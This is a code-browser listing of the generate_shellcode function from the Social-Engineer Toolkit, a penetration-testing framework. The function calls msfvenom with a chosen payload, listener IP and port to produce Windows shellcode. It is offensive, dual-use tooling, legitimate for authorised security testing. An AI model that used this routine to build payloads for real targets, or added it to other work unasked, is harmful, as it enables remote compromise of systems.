MCPcopy
hub / github.com/trustedsec/social-engineer-toolkit / generate_shellcode

Function generate_shellcode

src/core/setcore.py:1541–1553  ·  view source on GitHub ↗
(payload, ipaddr, port)

Source from the content-addressed store, hash-verified

1539
1540# generate base shellcode
1541def generate_shellcode(payload, ipaddr, port):
1542 msf_path = meta_path()
1543 # generate payload
1544 port = port.replace("LPORT=", "")
1545 proc = subprocess.Popen("%smsfvenom -p %s LHOST=%s LPORT=%s StagerURILength=5 StagerVerifySSLCert=false -a x86 --platform windows --smallest -f c" % (msf_path, payload, ipaddr, port), stdout=subprocess.PIPE, shell=True)
1546 data = proc.communicate()[0]
1547 data = data.decode('ascii')
1548 # start to format this a bit to get it ready
1549 repls = [';', ' ', '+', '"', '\n', 'unsigned char buf=',
1550 'unsignedcharbuf[]=', "b'", "'", '\\n']
1551 for repl in repls:
1552 data = data.replace(repl, "")
1553 return data
1554
1555# this will take input for shellcode and do a replace for IP addresses
1556def shellcode_replace(ipaddr, port, shellcode):

Callers 1

metasploit_shellcodeFunction · 0.85

Calls 1

meta_pathFunction · 0.85

Tested by

no test coverage detected